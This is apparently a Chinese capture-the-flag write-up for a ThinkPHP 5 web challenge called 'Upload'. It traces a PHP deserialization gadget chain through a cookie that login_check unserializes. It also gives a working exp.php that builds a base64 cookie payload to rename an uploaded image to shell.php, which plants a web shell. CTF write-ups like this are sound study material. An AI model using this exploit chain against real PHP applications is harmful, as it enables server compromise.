[Web] Upload - LanceaKing xp0int Posted on May 27 2019 访问/www.tar.gz获取源码。 所有核心代码都在tp5/application/web/controller里。 home会执行login_check。 ![title](https://leanote.com/api/file/getImage?fileId=5cea9599ab64417774006d33) login_check会对cookie反序列化,之后再根据ID查数据库。 ![title](https://leanote.com/api/file/getImage?fileId=5cea95f0ab64417774006d46) 接下来就是反序列利用链,目标是通过upload_img将上传的图片shell重命名为.php。 ![title](https://leanote.com/api/file/getImage?fileId=5cea9dc9ab6441757b006f62) Profile->\_\_call可以执行任意方法: ![title](https://leanote.com/api/file/getImage?fileId=5cea9ea4ab6441757b006f87) 要能执行Profile->\_\_call需要找一个会执行成员变量的一个方法的\_\_wakeup或\_\_destruct 然后在Register找到了: ![title](https://leanote.com/api/file/getImage?fileId=5ceaa264ab64417774006fdb) 所以构造`Register->checker = Profile`、`Profile->index = "upload_img"`,再加上其他成员变量就能重命名upload目录下的文件了。 exp.php: ``` <?php namespace app\web\controller; class Profile { public $checker = null; public $filename_tmp = '../public/upload/da5703ef349c8b4ca65880a05514ff89/2d7a512ba434e78b33798d19c5b8a82a.png'; public $filename = '../public/upload/da5703ef349c8b4ca65880a05514ff89/shell.php'; public $upload_menu = 'da5703ef349c8b4ca65880a05514ff89'; public $ext = true; public $img; public $except; public $index = 'upload_img'; } class Register { public $checker; // Pr0file public $registed = false; } $r = new Register; $r->checker = new Profile; $s = \serialize($r); echo $s."\n"; echo \base64_encode($s)."\n"; ``` 将cookie设置好之后访问/index.php/home,shell就是/upload/da5703ef349c8b4ca65880a05514ff89/shell.php ![title](https://leanote.com/api/file/getImage?fileId=5ceaa400ab64417774007021) ![title](https://leanote.com/api/file/getImage?fileId=5ceaa40cab6441757b0070e0) 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Web] 高明的黑客 - LanceaKing [Pwn] trywrite -cpt.shao
没有帐号? 立即注册